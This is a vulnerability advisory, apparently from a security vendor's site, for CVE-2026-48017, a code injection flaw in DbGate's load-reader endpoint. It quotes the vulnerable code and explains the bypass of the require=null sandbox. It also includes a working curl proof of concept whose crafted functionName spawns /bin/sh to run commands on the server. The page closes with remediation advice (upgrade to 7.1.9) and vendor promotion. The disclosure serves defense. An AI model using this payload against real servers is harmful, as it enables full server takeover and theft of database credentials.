Summary
The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.
Details
The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:
Vulnerable code (permalink):
loadReader_meta: true,
async loadReader({ functionName, props }) {
if (!platformInfo.isElectron) {
if (props?.fileName && !checkSecureDirectories(props.fileName)) {
return { errorMessage: 'DBGM-00289 Unallowed file' };
}
}
const prefix = extractShellApiPlugins(functionName)
.map(packageName => `// @require ${packageName}\n`)
.join('');
const promise = new Promise((resolve, reject) => {
const runid = crypto.randomUUID();
this.requests[runid] = { resolve, reject, exitOnStreamError: true };
this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
});
return promise;
},
The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;
The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}
Two injection vectors:
- Without
@: The entirefunctionNameis appended afterdbgateApi.without sanitization - With
@: The part before@(nsMatch[1]) is appended after.shellApi.without sanitization (only the part after@goes through_camelCase)
Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.
Compare with safe code in the same file (line 292):
start_meta: true,
async start({ script }, req) {
// ...
await testStandardPermission('run-shell-script', req); // <-- Permission check!
if (!platformInfo.allowShellScripting) { // <-- Platform check!
return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
}
// ...
},
The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.
PoC
An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:
# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.
curl -X POST http://TARGET:3000/runners/load-reader \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-d '{
"functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
"props": {}
}'
This generates the following JavaScript that is forked as a child process:
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);
After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.
A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py
Impact
An authenticated user with basic access (no admin role, no run-shell-script permission required) can:
- Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
- Read/write any file accessible to the process
- Pivot to connected databases by reading connection credentials from DbGate's storage
- Compromise the host system - in Docker deployments, this typically means root access within the container
This is particularly severe because:
- No special permissions are required beyond basic authentication
- The
require=nullsandbox is completely bypassed viaprocess.binding("spawn_sync") - The
loadReaderendpoint lacks the permission checks present on thestartendpoint - DbGate is commonly deployed as a web-accessible database management tool
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-48017 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (7.1.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-48017? CVE-2026-48017 is a high-severity code injection vulnerability in dbgate-api (npm), affecting versions <= 7.1.8. It is fixed in 7.1.9. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-48017? CVE-2026-48017 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of dbgate-api are affected by CVE-2026-48017? dbgate-api (npm) versions <= 7.1.8 is affected.
- Is there a fix for CVE-2026-48017? Yes. CVE-2026-48017 is fixed in 7.1.9. Upgrade to this version or later.
- Is CVE-2026-48017 exploitable, and should I be worried? Whether CVE-2026-48017 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48017 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48017? Upgrade
dbgate-apito 7.1.9 or later.